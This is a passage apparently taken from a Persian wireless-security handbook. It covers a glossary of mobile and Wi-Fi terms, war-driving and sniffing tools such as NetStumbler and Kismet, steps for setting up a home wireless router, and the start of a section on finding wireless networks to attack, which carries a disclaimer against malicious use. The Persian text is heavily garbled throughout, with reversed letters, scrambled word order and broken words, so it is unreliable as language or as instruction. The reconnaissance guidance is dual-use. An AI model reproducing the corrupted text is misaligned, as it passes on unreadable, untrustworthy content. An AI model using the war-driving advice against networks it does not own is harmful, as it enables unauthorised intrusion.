
  
  آنالوگ اه تلفن اول نسل

  
2 G : 

 
 . SMS ن يمچنه و متن و صوت ت انتقاليقابل با دوم نسل یتاليجید اه تلفن

  
SMS(Send Message Service) : 

 
  .ار يس اه تلفن با کوتاه یمتن اه اميپ ارسال یبرا ژهیو سیسرو ینوع

  
3 G 

 
  .رفت  دهخوا کار به ریتصو و صوت عیانتقال سر تيقابل با یاه تلفن سوم نسل

  
G 4 

 
نجم   یاه تلفن– ميس یب یاه  پروتکل3G یاه تيقابل گرید از یبانيپشت مراهه به سل پ ا  ن ه ه پوشش  ب ال  تي  قابلیدارا اه تيقابل نی ا م  انتق

  .مزمانهصورت  به ریتصو و صوت
  

Pager : 
 

 تر  گستردهیاه ستميس رود یم کار به اه مارستاني بو ادارات در شتريبpager ا ه pager گرید یفراخوان غاميپ گرفتن یبرا هیدستگا
  ردي گیم قرار استفاده مورد زين آن
  

Cardle : 
 

  . اطلاعات تبادل وPC به  اتصال ی براPocket PC در ژهیو اتصال ینوع
  

Encryption : 
  

  اه داده تيحفظ امن تهج به یقرارداد تمیالگور کی  طبق بر اطلاعات کردن کد و کردن رمز پروسه
  

Compact Flash Device : 
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ان دورب  ه کنند استفاده رود یم کار  به  شبکهیاه سوکت به اه ابزار نیا اتصال یبرا که یتاليجید یاههدستگا در اتصال ینوع نام  نيگ
  .ستنده آشنا شترياتصال ب نوع نیا با تاليجید یاه
  

Cellular : 
 

ن  در هشد  رفته کار به ینواح دادن پوشش یبرا یآور فن ینوع راه ه یاه  تلف ن  نی ا از رانی در ا م تفاده  شتري ب یآور ف ه   شود یم  اس  ک
  .باشد  یم گرانتر آن  خدماتیول نداشته را مشکلات نیا یا وارههل مایموبا ستميس دیدار ییآشنا شتريستم بيس نیا مشکلات با خودتان

  
CDPD(Cellular Digital Packet Data) : 

 
  .کننديم استفاده یآور فن نیا از تاليجید اه مودم اکثر Kbps19-20 سرعت تقالان با یتاليجید ميس یب ی شبکه

  
Ah hoc : 

 
  .ند اارتباط در ميمستق وDirect صورت  به اه انهیرا آن در باشد که یم ميسيب یاه شبکه از ینوع نام
  

Infrastructure : 
  
 اصطلاح  در یمرکز نقطه نیا به  پردازندیم مه با ارتباط به یمرکز ی نقطه کی از شبکه زاتهيتج ای اه انهی راAh hoc خلاف  بر

Central Access pointندیگو یم .  
  

Access point : 
 

وع  ه  سته  دستگاه  ین رار  امکان  ک اط  یبرق اب  ارتب ابل  و ميس  یب  یاه  شبکه  نيم را   رایک د  یم  مهف ا  دستگاه  نی ا کن ارت شبکه    ب  ک
NICکند یم برقرار ارتباط گرید ميس یب یاه شبکه.  

  
NIC (Network Information Card) : 

 
ابل   مه و ميس یب انواع مه که باشد یم شبکه زاتهيتج در یکيالکترون برد ینوع واع ک ه  از یان  شتري باشد ب يم موجود  آن اليکواکس  جمل
  .اشدب یم اه تر رو ای اه ابه از جمله شبکه اجزا گرید با ميمستق ارتباط و در رود یم کار به یساز شبکه یبرا
  

BlueTooth : 
  

 به یتاليجید یاه یمنش ای مراهه یاه تلفن یبرا شتريب باشد یم kbps720 سرعت با اطلاعات ميس یب انتقال تهج یمعروف استاندارد
  .رود یم کار

  
blackberry HandHeld : 

  
  ترنت نیا به  محدودیدسترس و کيالکترون پست تيقابل یدارا باشد یم جريپ ای فراخوان دستگاه ینوع

  
AMPS(Advanced Mobile telephone systems) : 

  
  .اول  نسل  آنالوگیاه تلفن شبکه در رفته کار به استاندارد

  
Beam : 

 
  .شود یگفته م اصطلاح در را شود یم استفاده  قرمز مادون اشعه شعاع از اطلاعات ارسال یبرا
  

WAP(Wireless Application protocol) : 
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨١٥    صفحه

 اهروس یو از یاريبس رود یم کار به مراهه اهتلفن  در رفته کار به یاه برنامه جادیا ی برا سانینو برنامه که شدبا یم پروتکل ینوع
دل  گر ید نيمچن ها ه  لی موبا Nokia و شوند  یم  نوشتهیسر ژهیبو لیموبا یاههدستگا یبرا که ا  را اه  م ه  توجه  ب  نی ا یاه ضعف   ب

  .کنند  یم یطراح پروتکل
  

Web Clipping : 
 

ال يجید اه اريدست نيمچنه ای نترنتیبا ا ارتباط ییتوانا که مراهه یاه تلفن یرو بر ینترنتیا صفحات شینما یبرا یروش  یم  اني را ب یت
د  ن  نی ا کن را  یاور ف ا  یب ه  کوچک  یا محدوده  در وب ش صفحات ینم ار م   ب ه  من  رود یک س  فلش  یاه  لی فا یبعض  جمل  از یاريو ب

  .ند  شویم حذف شینما یبرا ریتصاو
  

WEP( Wired Equivalent Privacy ) : 
  

واج  صورت به اه داده اه شبکه نیا در باشد یمWi-Fi  یاه شبکه در رفته کار  بهEncryption ینوع   شوند یم  ارسال  ییوی راد ام
  .است ریپذ امکان ییاه روش از اهآن کردنCapture امکان  که
  

Wireless Narrowband : 
 

  . باشد یم kbps15 حداکثر است سرعت یپیتا و رنگ تک یاه تلفن در نترنتیا به سرعت کم یدسترس روش ینوع
  

IEEE 802.11g  : 
 

 ميسي ب یاهشبکه  نهيزم در دیجد یاه استاندارد یتر استفاده پر از کی حاضر حال درa , b  یاه نسخه شده داده بودهب استاندارد ینوع
  .باشد  یم
  
 
ار  زاني م داد  نيمچن ه و فیتع س  شبکه  اتزهي تج تع ه  باشد  یم  ادی ز اريب ه ی ا ی حوصله  از ک ار  کل  در باشد  یم  خارج  ن مقال  و فیتع

ه  باشد یم یکاف  ویضرور کاربران هياول ییآشنا یبرا بالا اصطلاحات دان  علاق د  یم  من ه  توانن امپ  اصطلاحات  و نگ هفر ب  ی وتريک
د يره بگه ب شتريب ییآشنا یبرا اه یآور فن نیا ندههد توسعه یاه تیسا از ای کنند موجود مراجعه ه  زمی عز دوست  از رن  نی ا ههي ت در ک

  .کنم یم دند تشکريکش زحمت مطالب نیا ارسال و بخش
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Wireless War Driving Tools 
  
  
ه  را مي سیب یاه شبکه که نهيزم در معروف یاه افزار نرم از یبعض دارم قصد بخش نیا در نم  یمعرف  اختصار  طور  ب  یم  شما  ک
 مي سیب یاه شبکه تيامن تست تهج در اهآن یاه یژگیو از و نموده افتیدر را اه افزار نظر نرم مورد یاه تیسا به مراجعه با ديتوان
  .است ذکر م قابليس یب مبحث در افزار نرم یادیز تعداد حاضر حال در. دیببر رههب خود نظر مورد

 
 افزار نرم نیا گرید یانيب به دیشا کنم یدوستان معرف شما به ابتدا در را خودم علاقه مورد افزار نرم مهخوا یم قسمت نیا در -١

ط  من  نگ يکه بخش  در باشد  یم  ميس  یب  یاه شبکه رانیمد یبرا شده افزار شناخته نرم نیتر کاربرد پر و نیمعروفتر ه   فق ب
رم  نی ا شد  دهي ده خوايعق مه نم با مقاله نیا خواندن از بعد مه شما پرداخت مهخوا افزار نرم نیا حيتوض زار  ن را  اف را  یب  یب
را  ميس  یب  یاه  شبکه تواند یم که نستیا افزار نرم نیا جالب امکانات از شده است یطراح دوزینو عامل یاه ستميس در کار

ه  از یکيگراف نقشه کی یرو بر را اهنآ GPS ستميس به توجه با و نموده ییشناسا ا Stumb verter جمل سمت  در ده د شینم  ق
 .شد دهيخوا آشنا کامل طور به افزار نرم نیا با نگيکه

 
http://www.netstumbler.com 

 
  

  
  
  

رم  از یک ی نیا که گفت توان یم جرات به زار  ن وب  یاه  اف ه يزم در محب ا  باشد ي مWirless ک ه  ن تفاده  ب در   راnetstumbler از  اس
شان م   شما به را یخروج و کرده ییشناسا را ديباشيم تيفعال لحا در که یا محدوده ميس یب یاه شبکه یتمام  شما802.11 ه  ده د ین  ب

ر  یا  منطقهیاه اسکن در که است یا 802.11 یاه شبکه ریز شکل مثال طور ده  بدست  متحده  الاتی ا یرو ب ه  است  آم  نی ا ذکر  البت
ند  اه  داده ارسال و افتیحال در در مربوطه یفرکانس محدوده در که کند یم ییشناسا را یابيدست نقاط ن ابزاریا که است لازم نکته  باش
  .د يکن دايپ را تفاوت یمقدار یج قبلینتا با دیريبگ بعد یمدت در دیشا که را یجینتا دیشا و
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  . باشد یم استفاده  قابل BSDو Linux  یاه طيمح در زين افزار نرم نیا kismet افزار  نرم -٢
 

http://www.kismetwireless.net 
  

 ,OpenBSD  یاه طيمح در دیبا آن از استفاده یبرا کند یم عملkismet برنامه ماننده زين برنامه  انDstumblerابزار  -٣
NetBSD, and FreeBSDدی کنما عمل .  

 
http://www.dachb0den.com/projects/dstumbler.html 

  
ا  از ه  آنج رم  دو ک زار  ن تفاده BSD یاه  طيمح  در دی با شده  ذکر  اف ا  از و شوند   اس ه  آنج ر  بحث  ک  خود  عامل  ستمي س نی ا خود  یرو ب

ه يزم نیا در یاضاف مطالب آوردن از طلبد یرا م یعاد یاه یکاربر سطح از فراتر یتخصص ا  یم  یخوددار  ن ط  مینم را  فق ه   یب علاق
ه  را اه عامل ستميس نوع نیا در کار ییتوانا که یمندان ادر  یخوب  ب زار   دو ستنده  ق رم اف وق  ن د  از ف ر  قدرتمن رم  نیت زار  ن  نی ا در اه  اف
  .باشند  یم نهيزم
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Mapping Tools 
  
د ینما یم  ییشناسا که ییاه Access point از  استفاده با مزبور یاه افزار نرم دیا شده متوجه حال به تا که مانطوره ادر  ن ا  ستنده  ق  ب

 نی ا در موجود یاه افزار نرم ند ازینما ارائه کاربر یبرا را شده اسکن حوزه از یمجاز ریک تصوی Mapping یاه جيپک از استفاده
ه  دي کن افت یدرhttp://www.sonar-security.com از  دي توان یم  را افزار نرم نیا برد  نامStumVerter به توان یم نهيزم ه  البت  ب

اطق  گر ید قيدق یاه د نقشهيتوان یم که شود یم شامل را یمحدود یاه قسمت یبرا شده ههيت یاه  نقشه ضش فريپ طور  زي ن را 5 من
ا  ا  در جستجو  ب ورد  یاه  تیس رده  افت یدر نظر  م ه  ک رم  و ب زار  ن ادر  اف را  دیي نما اضافه  م رم  نمودن  داي پ یب زار  ن ه يزم در ییاه  اف  ن

Wireless ه  دي توان ی م ا  ب د  ه یمرجع  یاه  تیس ا  گر ید  وcom.packetstormsecurity.wwwمانن ر  یاه  تیس ه  معتب ا  و رفت  ب
رم  نیا است ذکر قابل زينJiGLE نام  به یگرید افزار نرم دیيدا نمايپ نهيزم نیا در را یمتعدد یاه افزار نرم " 802.11 " یجستجو  ن
 .  net.wigle.www رديگ یم رههب است شده مهفرا منظور نید که یکامل سيتابید از افزار

  
 به خود کدام ره تياجزی حیتشر و کدام ره یرو بر بحث که دارد وجود یمتنوع یاه ابزارCapturing  وWireless Sniffing یبرا
ام  در که باشديمEthereal معروف   ابزارSniffing یبرا افزار نرم کیمثال  طور به دارد ازين بحث نیا از جدا یا مقاله  ستمي س یتم
   . www.ethereal.com باشد  یم استفاده قابل نوکسيل و ندوزیو جمله از عامل یاه
 

   . www.wildpackets.comباشد ي مAiroPeek NX افزار   نرمEthereal مشابه یگرید ابزار
 
ا  را ام نموده یآور جمع مقاله نیا ارائه یبرا که ییاه داده به که اکنون مه دازم یم  هینگ ه  دانمي نم  ان دام  از ک سمت  ک ه  و ق دار  چه  ب  مق

 ره  به ه نمودهيت را یکتاب کی ره یبرا توان یم بلکه رديبرگ در را یمقالات تواند یم اهتن نه بحث خود نیا از یقسمت ره مهبد حيتوض
ه  دي توان یم  هک  ديسته  شما  خود  نیباشد ا یم ميس یب یاه شبکه نهيزم در هياول ییآشنا کی من قصد حال ه  خود  یري گيپ ب  اطلاعات  ب
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انگ Wireless شبکه   کی کردن پا بر ی نحوه خلاصه طور به یبعد بخش در ديبرس اهنه يزم نیا در یشتريب  و مه د یم  شرح  را یخ
  .پرداخت مهخوا مي سیب یاه شبکه تست و که نهيزم در یمطالب ذکر به آن از بعد

 
ه  سازد  یم انینما نهذ به را مطلب نیا ميسيب یاه نه شبکهيدر زم مطالب یگستردگ که ستين لطف از یخال مطلب نیا حيتوض ا  ک  دیش
س  نهيزم نیدر ا تيفعال سان  من  نظر  از یول  باشد يم سخت  اريب ه  یک ه  شبکه  یاه  دوره ک ال    ب ده  را+Network طور مث د  گذران ه  ان  ب
 یروشنه ب نیا و بود دهخوا ميس یب یاه شبکه یايدن ندهیآ یايند شوند یساز شبکه به مربوط مسائل از بخش نیا وارد توانند یم یراحت

ا  یحت  ای  و بوده ميسيب یکاربر معمول کی شما اگر یحت کند یم گوشزد را یتکنولوژ نیا هياول اصول یريگ ادی تيمها ن  نی ا ب  یآور ف
 یب یاهشبکه  کاربر کی که مه اگر ستين فلط از یخال نهيزم نیا در هیپا اطلاعات از یسر کیداشتن  لزوم دیندار یا رابطه چهي مه
 ازي ن کی  یحت  نه نیا شبکه رانیمد یبرا شود یم لیشما تبد یبرا ازين کی صورت به نیا ديکن یم کار بالاتر یسطح در و ديسته ميس

  .رفت دهشمار خوا به یاتيح امر کی بلکه
  
  
  
  
  
  
 

Set Up a Wireless Network in Home 
  
  نگيکه بخش گفتار شيپ
 
  یخانگ ميس یب شبکه کی ییپا بر حوهن
 
ه  ميسي ب شبکه  کی  یاجزا عملکرد ی نحوه با شما که است لازم نگيکه بخش شروع از قبل نا  مختصر  طور  ب ر هب دیشو  آش  روش نیت
ه  مر ا نی انجام ا نحوه با را شما ادامه در ديکن پا بر و یطراح یخانگ ميس یب کوچک شبکه کیخودتان  که آنست مطلب نیا مهف یبرا  ب
اربر  دفه  نوع نيمچنه زات وهيتج نوع به توجه با شما که میبگو دیبا البته مینما یم آشنا یعمل طور ه  یا یک  ميس  یب  شبکه  کی  از ک
 اسمبل از جهينت نیترهآوردن ب بدست یبرا یمتفاوت یاهالگو و اه روش که است یمعن بدان نیا دیورز دهيمبادرت خوا امر نیا با دیدار

 را یگرید یاجزا و داده مي تعمLAN ک ی شکل به را ساده مثال نیا ديتوانيم شما. نمود اتخاذ توان یم ميس یب شبکه کی یاجزا کردن
 توجه دیا نموده برپا که یا شبکه ریعنوان مد به یستیبا که ی بعد نکته دیينما اضافه آن با اتان شبکه یفرکانس باند عرض به توجه با زين

 به مي سیب یاه شبکه کره کی دگاهید از و داده یاجبار سمت رييتغ کی شما نجایا در نظرتان است مورد شبکه تيامن بحث ديباش داشته
  .دیينما اقدام اه یریپذ بيآن آس رفع به یاحتمال مشکلات و اهضعف نمودن دايپ با و ستهینگر خود شبکه

  
ا  ته ج یشمار  انگشت و معدود یاه روش کل در ان  ميس  یب  شبکه  کی  ییبرپ ال  نی ا ته ج نی ا از دارد  وجود یگخ را  را مث  شما  یب

ه  دیشو  متصور  را یبزرگتر ميس یب یاه شبکه یبررو کار یعمل نمونه نیاز ا خودتان ديبتوان که کردم آماده دوستان  ین طراح ی ا البت
 یتوپولوژ با هياول ییآشنا سمتق نیا ازين شيد پيکن یم م استفادهيس یب روتر کی و مودم کی از شما که دارد آن به یبستگ یخانگ شبکه
  .باشد یم ی کابلیاه شبکه ساخت نيمچنه و شبکه

  
ه  ینماهرا نیا در ه  مرحل ه  ب ا  فرض  مرحل ر  م ه  است  نی ا ب اط  کی  یدارا شما pc ک ی  ک ا Broad Band ارتب ل   ب ودم  ای  کاب  DSL م
ا  فرض  نيمچن ه است شده وصل مودمتان هب ميمستق طور به شما وتريکامپ و است نشده نصب تان ستميس در روتر نوزه یدوليسته ر   م ب
ورد  بوک  نوت ایPC گر ید و دیينما وصل شبکه به معمول قیطر از را یزيرومPC ک ی دهيخا یم شما که است نیا ان  م  از را نظرت

را  یاطلاعات تيامن نظر از را ییاه تیمز شبکه کی یقرارر بر نحوه نیا دیينما وصل شبکه به ميسيب قیطر د  یم  مهف در  اگر  چون  کن
ادر  است شده متمرکز کيکلاس طور به که یمان بخشه قیطر از دیکرد خورد بر یمتعدد مشکلات به ميس یب شبکه یکربنديپ مرحله  ق
  وWireless router م يس یب روتر کی که داشت دهيخوا ازين موضوع نیا یبرا شما دیگرد بر به عقب نواقص رفع یبرا بود دهيخوا
ه    معروف  PCMCIA –م يس یب کارت نيمچنه و  خودPC  یرو  برPCI م يسيب کارت کی را PC Card –ب وت  ی ب ان  ن  ههي ت بوکت
  . ديکن
 
  .دیيفرما توجه ریز مرحله ۴ به
  
 
  :تان  ميس یب روتر ارتباط ی برقرارر-١
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ل یي نما خاموش  را خود یميسيب دستگاه نيمچنه و یکابل مودم ابتدا در ودم  یرو از را Ethernet د کاب ابل  م ه  را آن و آورده در یک ه  ب  ب
ابل  ارتباطات  گرید دیينما متصل ميس یب روتر پشت  درLAN  یاه پورت ارهازچ یکی اق  یستی باPC  یک د سپس   یب ل  بمان  اترنت  کاب

وده  روشن  مراحل  نیا از پس را د مودمتانیينما متصل ميسيب روترWAN پورت  و  مودمEthernet پورت  نيماب را دوم ا  نم  چراغ  ت
  .بکشد طول یا قهيچند دق است ممکن نیا شود روشن اتان نظر مورد ینترنتیا سیسرو کننده ههيبا ت ارتباطش منزله به آن یاه
  

 
(Left: Cable Modem Right: Wireless router with LAN Ports- Ethernet Cables) 

  
 مه مرحله نیا که بگذراند را خود ییشناسا ز مراحلين آن یستیبا چونکه خاموشند روتر یاه چراغ حالت نیا در دیينما متصل را روتر

  . دیينما بوت مرحله نیا در را خود ميس یب PC نجامديطول ب به قهيدق چند تواند یم
  
  
  :ن یآنلا صورت به ميس یب روتر یبند کري پ-٢
 
ه کن  است  شده  ارائه اش سازنده شرکت توسط روتر مراهه به که یجزوات به از  را  خود Web Browser دي مراجع رده  ب  آدرس در و ک
ا هرا نظر  مورد صفحه د دریينما استفاده است شده اشاره روتر ميتنظ یبرا که ییاه آدرس به بار ه  یاه  یینم ه  مرحل ه  ب ال  را مرحل  دنب
سمت  نی ا در دي کن مراجعه WPA  و WEP  یاه قسمت به امر نیا یبرا دیينما فعال را روترتان یتيامن یاه د بخشیينما  شما  از اه  ق

ه  ده خوا یم  را دستگاه  دي کل شماره  ه   ک سته ب ان  سازنده  ب را  روترت دن  یب سمت  نی ا گذران ا  ق  شرفته ي مات پ يتنظ بخش  باشد  لازم دیش
Advanced Settingدیينما مراجعه . 

 
ات  از یک ی نیا – دیينما عوض  راAdminفرض  شيپ رمز کلمه ه  است  ینک را  اه  کر ه ک ر  که  یب ر  رهه ب آن از اه  روت  یم  یدارب
ش  یاه  یبند کريپ یسر کی یدارا یشرکت ره از شده ساخته یاهروتر  اغلب که است ذکر به لازم ندیينما  از یک ی باشد ي میفرض  یپ

ه  یاه  شبکه  رانیباشد مد یم نيادم یسطح دسترس در روتر یبند کريپ یبرا عبور رمز کلمه اه شفرضيپ انواع ون  مه  ک  حال  در اکن
ند  یفرض م  شيپ صورت به که عبور رمز کلمات نیا به اه کره اغلب که ندیينما توجه ن نکتهیا به دیبا شندبا یم مقاله نیا مطالعه  باش
د هد یم  انجام که یکار نياول در و ندهص ديتشخ را تان روتر مدل و نوع است یکاف فقط مثال طور به دارند اطلاع  کلمات  نی ا تست  ن
واقص  نی ا متوجه  شانی  ایوقت و داده جواب روش نیا شبکه رانیمد یانگار لهس علت به مه اوقات در اغلب که -باشد یم عبور  یم  ن
ه  ای  استفاده اه کره یاه نره از یکی م کهيباش داشته ادی به است گذشته کار از کار که شوند ارت  ب تفاده  سوء  یعب د  کر يپ از اس  یاه  یبن
ذ  بيآس دنبال به کرهگر ید که ستين لازم طیشرا نیا در گرید یحت مهيد یم انجام ما که است یفيضع  اگر  یول – بگردد  یخاص  یریپ
 اجرا  یخوب  ار داردبهياخت در ميس یب ای یکابل چه شبکه اجزاء از کیره یبند کريپ یبرا شبکه رانیار مدياخت در که ییاه ستيل چک
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از  یول   شودیم گرفته اه نفوذ از یاريبس یجلو حداقل گردد ميتنظ و شده را  راه ب وذ  یب ا  نف ه  یول  است  زب را  ن  نی ا در یکر ه ره  یب
ر  بحث  که دارد گرید یبه مباحث ازين مطلب نیا خود که ديباش یم خطر در خبره یکره یاه گروه حملات یاز سو شما قسمت  یرو ب
 ن کهیا درک یبرا بود لازم حاتيتوض نیا که آنجا آز یل و مقاله نیا موضوع از خارج  استیبحث خود شرفتهيپ یگر نفوذ یاه تيفعال
ه  نکات  گرید شود یم انيب که است یا فلسفه کی یدارا خود -دیينما عوض را نيادم فرض شيپ رمز کلمه – ساده جمله کی دیشا  ارائ
 اه آن کنار از شترموارديب در یم ولیشو یم مواجه اه ادهشنيپ و جملات نیا به یمتعدد مقالات در اقلب باشند یمنوال م نيمه به زين شده
ه  است ینامSSID نکه یا حيتوض – دیينما عوض  راSSID م نام یينما یم ورعب توجه یب را  شما  ک  یم  نظر  در متانيس  یب  شبکه  یب
د  یم  را فرض شيپ یاه SSIDاز  یليخ اه کره از یاريبس بالا مطلب ماننده دوباره دیريگ ه  و دانن د  یم  سبب  نيم ه ب ه  توانن  شبکه  ب

  .د يبزن حدس ديتوان یم را موضوع نیا عاقبت که شوند وصل ییاهصورت به اتان
  
  :Desktop PC  یرو بر ميسي بPCI کارت   نصب-٣
  
 ديکن کارت مراجعه سازنده شرکت یسو از شده ارائه عیسر نصب ینماهرا به منظور نیا یبرا
ال  کهPCI گسترش  یاه شکاف ار یکی – دیدار بر را سيک د پوششیينما خاموش را وتريکامپ ر  را است  یخ  ستمي س ادربوردم  ی رو ب

ام  چه ره دقت د بایينما خارج شکاف نیا یريگ قرار قسمت در را ستميپشت س یفلز هیدرگا قسمت نيمچنه دیينما مشخص ر  تم تن  ت  آن
  .دهيد قرار نظر مورد شکاف داخل در را کارت دهيقرار د ستميس پشت در باز گسترش شکاف تهج در را
  

 
(Wireless PC Card _ External Antenna) 

  
 شهي مه را اه  ستمي س پوشش  اه  کره اغلب(  دیدوباره بگذار را سيک پوشش سپس دیينما چکش خود یجا در بودن محکم نظر از سپس
 ازیياه کار یبرا بورد مادر به عیسر یدسترس نيمچنه وNatural Cooling نکه یا یکی دارند کار نیا یفلسفه برا 2 دیشا دارند یم بر
  ).ل يقب نیا

  

 
(Wireless 802.11a PCI Card ) 

  
امپ  توسط ستميبه س شده اضافه دیجد قطعه یستیبا قسمت نیا در دیينما روشن را وتريکامپ ناخته  وتريک ه   ش رل  شود ب ل  کنت  در(د ی برو پن
  :ديکن یط را مراحل نیا و) ندوز یو یاه ستميس
 

Network � Wireless Networking Connection � Properties � Wireless Networking Tab � Select the 
Wireless Networking Tab � Configure 
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  .دیينما کسانی و دهيد تطابق ميس یب روتر ماتيتنض با را یبند کريپ قسمت نیا در
  
  
  :Notebook PC  یرو  بهPCMCIA مان ه ای ميس ی بPC Card  نصب -۴
 
 را ميس یب یاه شبکه مخصوص بورد خودشان یدي تولییاه بوک نوت رشتيب گرید یانيب به ای و اه بوک نوت از یاريبس گرید اکنو مه

 دیينما یداریخر را اه ن کارتیا از یکی یستیبا نبود یبانيپشت نیا یدارا بوکتان نوت اگر یول ستين ن کارتیا نصب به یازين و داشته
  .دیينما خاموش را وکب نوت – ديکن مراجعه کارت ینماهرا کارت د بههيد انجام را ریز مراحل نصورتیا در
  

 
(Wireless PCMCIA Card) 

  
PC Cardمانه کارت ییشناسا از پس و کرده روشن را بوک نوت– دیينما وصل بوک نوت کنار در نظر مورد شکاف به را ميس ی  ب 

ا  نحوه بخش نیا د دریينما دنبال شد آن اشاره به بالا در که یبند کريپ مراحل انگ  شبکه  کی  ییبرپ ه  یخ ه یرا دو همر ه ب  و یزي م رو ان
 اه نتریپر ليقب از یگرید یاجزا اضافه کردن با شما بود ميسيب شبکه کی ساخت یبرا ساده مثال کی نیا دیفرمود دههرا مشا بوک نوت

ثلا  که دیريبگ نظر در شهيمه را خود یستميس الزامات دیبا یول دهيو گسترش بد ميتعم را خود شبکه اه انهیرا گرید به اه روتر ای  ای آ م
ه  کوچک شبکه ای انهیرا چند گذارد یم ارياخت در اتان آنتن ای روتر کی مثلا که یبا امکانات ه  و مجتمع  دي توان یم  مه  را ب  وسته يپ مه  ب

 نه تجربهيزم آن در یکس اگر است یکابل بحث در لازم تجربه و تخصص ميس یب مبحث  دریکار نهيزم شيپ که میگو یم باز البته ديکن
نم  ینم  فکر  ميس  یب  حوزه  در باشد  داشته  ار یکاف ه  ک ر  یجد  مشکلات  ب د   ب ط  خورد کن دار  فق ا  دی با یمق  یاه  پروتکل  و زاتهي تج ب
  .نمود کسب یاتينه تجربيزم نیا در و شد آشنا یدتریجد
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  :هک 
  
 یاه  شبکه مهيمفا با دوستان ییآشنا تهصرفا ج بالا مطالب یتمام کنم اشاره نکته جند به مجددا است لازم مهم بخش نیا شروع از قبل
ه  ديسته  قادر اکنون مه دیا شده آشنا ازتانين حد در اه پروتکل و فیتعار از از یاريبس به اکنون مه بود ازين مورد ميس یب  یاه  شبکه  ک

 وقت حالا دیشد آشنا نهيزم نیا در ییاهافزار  نرم نيمچنه و اه افزار سخت از یبعض با ديکن برپا گرانید و خود یبرا ميس یب یشخص
نا  آن با حال به تا که مانگونهه– ميکن صحبت شما با مي سیب یاه شبکه تيامن نهيزم در زين یمقدار که آنست  خاص  رشته  نی ا دیشد  آش
اد  مههبه  توانينم و است یافزار م نر مه و یافزار سخت لحاظ از مه یخاص یگستردگ یدارا علم شبکه از  یک ی در وضوع م نی ا ابع
ر  چند ميس ی بیاه شبکه تيامن مسئله در موضوع نیا پرداخت کوتاه مقاله دو ه يزم در مطالب  شود  یم  براب  از مه   ميس  یب  نگ يکه ن
ا  من  باشد یم اريبس یبند نظر دستع از مه اه متد نو نظر ه  دونمي نم بخش  نی ا در واقع دام  از ک سمت  ک ه اطلاعات  ه نی ا ق را  م  شما  یب
 اه یینماهرا نیا کنم با اشاره باره نیا در خلاصه چند ره یبه نکات ییگو اضافه از بدور که بود دهخوا آن بر من یسع کنم انيب یمباحث
ا  به عمل ا دره روش تست و شده مطرح موضوعات یريگ یپ با ديتوانن یم شما خود ه يبرس  یارزشمند  اتي تجرب و جینت  شما  نظر  د ب
ار  اه انیرو بر تا ميکن دايپ و کرده مشخص را یدافها ای دفه دیبا ابتدا دیزد حدس درست ؟؟ بله ميکن شروع کجا از اول وحله در دیبا  ک
 تست  یرو بر دهيخوا ی م-١ا یآ نکهیا مثلا. شماست یرو شيحالت پ چند نيمچنه و دیآ یم شيپ یاساس سوال چند نجایا در خوب. ميکن
ر  دهيخوا ی م-٢؟  ديکن کار خودتان ميس یب شبکه تيامن ار  یدافه وا ییاه  شبکه  ای  شبکه  یرو ب ه  دي کن ک ا  را اه آن مه  ک  ی م یحدود  ت

ا   نگامه در نظرتان مورد یاه شبکه صرفا و ديسته یتصادف دافها  دنبال-٣ .ديشناس د ا  شده  ییاسکن شناس  یرو شيپ  حالت  سه  نی ان
  فوق  تحال از چند ای یکی  مختلطیحالت ای است نگيکه اتيعمل انجام شروع اغلب در شما

  
  . ستين خرابکارانه مقاصد یبرا نگيکه آموزش من قصد : تذکر

  
ان هتن که معتقدم امر نیا به که است خاطر نیا به صرفا شود یم استفاده رهيغ و نگيکهر ينظ یکلمات از اگر و  شود  یم  یا زم  ره  یجل
 رودر اتان شبکه با کره کی دگاهید از بلکه شبکه ریمد کی عنوان به نه  کهیصورت در ديکن سد را خودتان شبکه به یگر نفوذ اتيعمل
  . ماند دهخوا دهيپوش دتانید از اه ضعف از یاريبس نصورتیا ريغ در دیينما یآنرا بررس و دیشو رو
 

ا   یول کرد دهخوا فرق زين شما یکار ريمس فوق یاه حالت از رکدامه به بنا خوب ر هب– است  سوم  و دوم یاه  حالت  فرض م  میبگو  ت
را  چه  حال ديستهم يس یب شبکه ره دنبال اشم نکهیا شناس  آن شناس  ای  ديب ه  دين ق  ک ه  متعل  مه  نی ا یول –  داردییاه  یژگ یو چه  و ستي ک ب

ه Private شبکه  دو یک ی ميس  ی ب یاه  شبکه یتعداد اسکن حال در است ممکن دارد را خود مخاطرات را  مه  شترشاني ب  ک  مراکز  یب
ه  کنم یم ادهشنيپ– دیریبپذ آنرا عواقب دیبا خودتان موقع آن که ديکن اسکن را باشند ینظام و یدولت ان یا ه  آموخت ه يزم نی ا در را ت ر  ن  ب
د  ميس  یب  یاه  شبکه  که  یاي د دنينکن امتحان ینظام و یدولت یاه شبکه یرو ه  لیتب ر  یامر  ب از  یعيوس  في ط است  شده  مخاطره  پ

 اه  دولت  اطلاعات چه و یاقتصاد یاه طرح دنی دزدیبرا اه کتشر از چه یاسيس ای و یاقتصاد چه ايدن در حاضر حال اه یجاسوس
ه يزم نی ا در تي فعال و کار که است گونه نیبد  برندیم رههب یآور فن نیا از اکنون مه ه   یم  مه  را ییاه  شامدي پ نيچن  ن د ب راه ه توان  م

ه  شد  دهيخوا متوجه آگاه نا که دیبپرداز ميس یب شبکه چند یاهعملکرد  یبررس به یتين و قصد چهي بدون شما است ممکن باشد داشته  ک
 داشته را لازم توجه کردم که اشاره ینکات به شهيمه پس شد دهيخوا یناگوارتر عواقب ایو زندان روانه گرانید ی برایجاسوس امهات به

ا  د بهینپرداز نهيزم نیا در یجار یاه حوزه گرید و دیريبگ رههب تانیاه ستمينواقص س رفع تهج در تانیاه آموخته از شهيمه باشد  آنج
 دو من  خود . شود یم افتی گرید نقاط از شتريب اريبس مي سیب یاه شبکه احتمال آنجا در که ميباش یاه جا و مکان دنبال دیبا که میديرس
 یپ منطقه کی در ميس ی بیاه شبکه وجود و حضور از یدارید یاه نشانه دنبال نکهیا یکی– کنم یم ادهشنيامر پ نیا یبرا را راه گونه
 .دیببر

ا  اگر  نکه یا حيتوض  ره  کر ه کی  دی د ب ه  خب ه  نیکوچکتر  دی بنگر خود  طيمح  ب ات یاه  مولف را  ی اطلاع ه  شما  یب ر  ب شانه  نیبزرگت  و ن
د  اه داده نیتر موثر نينيمچنه سبت  نظرمن  از اه  کر ه اختلاف  شوند اصولا   یم  لیتب ه  ن ردم  ب اد  م ه يب زي ت دی د نيم ه یع و  قي دق و نان

